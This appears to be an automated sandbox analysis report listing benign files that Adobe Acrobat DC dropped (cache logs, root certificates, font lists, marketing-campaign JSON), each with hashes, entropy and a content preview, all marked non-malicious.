Preview:	2025/01/10-20:13:35.239 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:13:35.240 1d18 Recovering log #3.2025/01/10-20:13:35.240 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklZaFVstfllXlE/HT8k7EJ/tNNX8RolJuRdxLlGB9lQRYwpDdt:kK/QeT8ySNMa8RdWBwRd
MD5:	8D3F1A96BE1F7CB624FCFDC29FBB8119
SHA1:	D7746454703D0491C2F91B024644789879E5211E
SHA-256:	7C44C94F87F1F506F26DD3E2E51E7E49DBB160DE10F24DD9195393363A46DBCE
SHA-512:	3389A98E8422B841B460111EE2647D4C68F506829A5BE102B7AC640D7DC11BC7042F71C7200C046EE7957667E703AEBD75CF160F8841922EF53033D35C54C458
Malicious:	false
Preview:	p...... ........j?...c..(....................................................... ..........W....^...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2202927333743494
Encrypted:	false
SSDEEP:	6:kKU+M/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:sL/iDImsLNkPlE99SNxAhUe/3
MD5:	6A417FA8A5E7EB6D61AB07F7FC06323D
SHA1:	219D2D9DC41F3977A3F0D7B05B3E8559B043DDDF
SHA-256:	1EFCB484FC3E7CB96991F5F8563B72BFF3B338CAB826E6C7D104F6553F9DDE8F
SHA-512:	DFF95C536A81C826B23A8D50A36D3CBB17BE9CB1440CBCDC1583084857A52434C0A673E89D4A54E847D566C659547E5CF90726797ADA21133F2AAAF38B1059BF
Malicious:	false
Preview:	p...... ......../.9 .c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6468

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6468

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.334168844691914
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJM3g98kUwPeUkwRe9:YvXKX6YpW7pZGMbLUkee9
MD5:	0C5DD07FA849FB738D3F6EFBD8924E44
SHA1:	ED326EE1BFD4CE73F39979DEFCB36827D6CF2B75
SHA-256:	77EC7EFBAAC82F0524E3B557EEEB5D0FD0859B52D8483C7EB90AADB6AFD5036C
SHA-512:	808F175CB6730C8BD251D24B6F36CF584D742B92C355E94626900FCE6686FD21FA21D5D680ADA85A1B95AF5858133097D164474A9F6FDDCA2CBE621B527EC0F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.277092117731536
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJfBoTfXpnrPeUkwRe9:YvXKX6YpW7pZGWTfXcUkee9
MD5:	5E02E985545243DC430B3A3E4A04A35C
SHA1:	35065D18A6C7385DADCA4F52FA5659BAEF018FCB
SHA-256:	47F3E20DE7609AB3CF92C2564459FA221C21572ECCFA748FCD9191EEBD797C53
SHA-512:	8803C86BCB87B92AEC9D6B13213507293D85F50EDBB0615FBBDFA6C90ABB0E5A59A998851338FEE0584AB0226850CBADF40B525ADAC1C2334FD976D6DD132FD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.255982970342293
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJfBD2G6UpnrPeUkwRe9:YvXKX6YpW7pZGR22cUkee9
MD5:	A6BB6165ADDBCD5DBB13A62DDBCF088D
SHA1:	4ACD923E9FF150305F5D185C12F6636D4FBA4B93
SHA-256:	EF2B3C6CC0AD4C825918EF54EAEA6BF1386EE7689738FB566FFB9FA1283EFF2D
SHA-512:	398DA80F1804BD7DE86B66B5A7997CC757BF555D481182AA75B9BCBF6FECA03010A6C1CD8784665BC8E305A5AD169E8735D77CD2FB57C625FF1910082C787B32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3120373524642615
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJfPmwrPeUkwRe9:YvXKX6YpW7pZGH56Ukee9
MD5:	DE2F6CEFA2DA84566821873672C11EB7
SHA1:	C446BFA64DBE0BE9C02310F7AAD5E5E3AD3F7DC0
SHA-256:	B567BE19D158A685D3814E4A66F9DC4B8DD7B08C35031D12047472C0A53C84A1
SHA-512:	9997F891BE61B18AA39AE0485055A768A96EF1F4BC06681205AC39CC368B0960EBB9CE9E595677298F1C9CE0A7C2E10893E72054A1FD249A2CAD3733EBF89ABC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686753190271613
Encrypted:	false
SSDEEP:	24:Yv6XPiMpLgE9cQx8LennAvzBvkn0RCmK8czOCCSw:YvZMhgy6SAFv5Ah8cv/w
MD5:	707B560C1CEB966F51D84B9688EFF01C
SHA1:	2E74C3387377CCCC18BDC3B61F8090C5B566917B
SHA-256:	71F198E0F8516E78FF82E3D670685E4FA0900ADEFD2DF13D33CCF7300291DE13
SHA-512:	4491BA5EAB4BE558A31AD31F2A776B7B068020935329968AF914FAB83E2E0D7220101C8DF3EFAE950530E94902526B88E10F6BF870C38334133CF09996D60894
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.258397544873107
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJf8dPeUkwRe9:YvXKX6YpW7pZGU8Ukee9
MD5:	B6448C136797EC285DB59C74AE77FF72
SHA1:	DE914F414D3E1F85924B7F0F0A34DB5FEDCD2012
SHA-256:	72E57FAE31682D32ABC5D0DE6874744CA509E138AF97F40143CE27A01BCE1E1E
SHA-512:	F7496918E6F51819419DCA8EEFFC98237C49CBBED2F7378507A985C13BE76866982B0B12E10AD653E56D9532AE417B09FEBF77C8E9B994F374B3EA3F2EFD5D9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.260963589676045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJfQ1rPeUkwRe9:YvXKX6YpW7pZGY16Ukee9
MD5:	0D17CCF70C3B6EA82A0586A8A907CE77
SHA1:	5FC6A8675F20FEDBC68167916BC0C3D8AF310AC1
SHA-256:	4CD6A27AE0D88B9A8693C167F26B6C734391F4BF6BCEFD27FE6665B642F48944
SHA-512:	DC7385A9A31A1487F0FB317006CBAD3D3A17F27080A14C5D838FB8F6CCA4926E6309C8170D8F6DA16C4E8DF5E016C5D9E121900FE859D4F1CC16345A0D1E88F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277858749932412
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJfFldPeUkwRe9:YvXKX6YpW7pZGz8Ukee9
MD5:	AFFAA9B2011A3CCF400B1254D4568B3C
SHA1:	DE21512ABD97C38596D05DB96D6EFC5DE8101ACA
SHA-256:	D51978C5EC071B9037ABBA4D0CB9A9C8765F96D501C57F7EB678F9C8E4D9B8D6
SHA-512:	A72C0A33EAEB260BCACA6512459BDA34AE4E1E5EDF3E2B317694B108CB3AEAEC4B1B78A8EFA9B9E2E1C4CC215C6361A7EB9DD977E819014077D86E2DC5FA939F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2854401017403285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJfzdPeUkwRe9:YvXKX6YpW7pZGb8Ukee9
MD5:	634262A47A323AA9C8ADC8DD5B7EA000
SHA1:	E78854D3D850337962CA0F599A68F80D538150FE
SHA-256:	EFFD9841FABAE8E576F97BC28FEDB5C83E852BDCF645362E143CC3F10B947121
